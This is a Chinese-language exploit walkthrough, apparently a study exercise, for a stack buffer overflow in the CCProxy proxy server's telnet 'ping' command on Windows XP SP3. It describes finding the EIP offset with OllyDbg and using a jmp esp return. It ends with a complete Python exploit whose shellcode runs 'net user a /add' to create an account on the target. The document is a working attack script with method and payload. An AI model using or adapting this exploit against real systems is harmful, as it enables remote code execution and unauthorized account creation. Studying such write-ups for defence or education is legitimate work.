操作系统:Microsoft windows XP SP3
溢出软件:CCPROXY http://pan.baidu.com/s/1pJI0loZ
CCProxy于2000年6月问世,是国内最流行的下载量最大的的国产代理服务器软件。主要用于局域网内共享宽带上网,ADSL共享上网、专线代理共享、ISDN代理共享、卫星代理共享、蓝牙代理共享和二级代理等共享代理上网。
该版本存在溢出漏洞
第一步运行,打开cmd,输入telnet 127.0.0.1后,显示如图
2.于是就用OD加载程序,并搜索字符串CCProxy Telnet Service Ready.并下断点
3.其实上边没什么用,因为这个涉及到通信,程序要接收数据,就要有recv,于是寻找,但是没找到,找到了WSArecv,下断点。
4.接着ping
5.程序断在断点处,接着F8往下运行。
6.查找host not found,并设断点。
7.多输入aaaaaa…..查找溢出点。
8.关注栈。
发现返回地址都被aaaa覆盖了,经过实验,发现是1013到1016个字节覆盖了EIP.
发现输入数据开始处为0x012*62fc , jmp esp后程序开始执行0x012*6700处的代码,在该处,此处的代码是输入数据开始的部分,于是在此处写下一个jmp指令,使其跳转到shellcode处。因为直接复制粘贴总是出现各种问题,于是用python写了一个exploit。
import socket
import os
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect(('127.0.0.1',23)) #telnet用的是23端口
s = sock.recv(4096) #接收CCProxy Telnet Service Ready
print(s)
p =b'ping ' + b'\x90'*4 #ping
jmp = b'\xE9\x03\xFC\xFF\xFF\x90\x90\x90' #从0x012*6700跳到0x012*6308
shellcode= b'\x55\x8B\xEC\x33\xFF\x57\x83\xEC\x0C\xC6\x45\xF0\x6E\xC6\x45\xF1\x65\xC6\x45\xF2\x74\xC6\x45\xF3\x20\xC6\x45\xF4\x75\xC6\x45\xF5\x73\xC6\x45\xF6\x65\xC6\x45\xF7\x72\xC6\x45\xF8\x20\xC6\x45\xF9\x61\xC6\x45\xFA\x20\xC6\x45\xFB\x2F\xC6\x45\xFC\x61\xC6\x45\xFD\x64\xC6\x45\xFE\x64\x8D\x45\xF0\x50\xB8\xC7\x93\xBF\x77\xFF\xD0'
junk = b'a'*920 #填充字符
jmpesp = b'\x12\x45\xfa\x7f' #经典的jmp esp覆盖ret
p = p+jmp+shellcode+junk+jmpesp+b'\x90'*16 #将整个shellcode整合起来
sock.send(p) #发送shellcode
sock.send(b'\n')
s = sock.recv(4096)
print(s)
运行这个python脚本后,F8一路走到ret处,
此时的栈顶内容为jmp esp的地址
执行ret 0xc 、jmp esp 指令后,程序来到了jmp 012*6308这里,然后一跳,就来到了真正的shellcode
执行完这个shellcode后,在cmd中输入net user查看用户账户。
运行成功!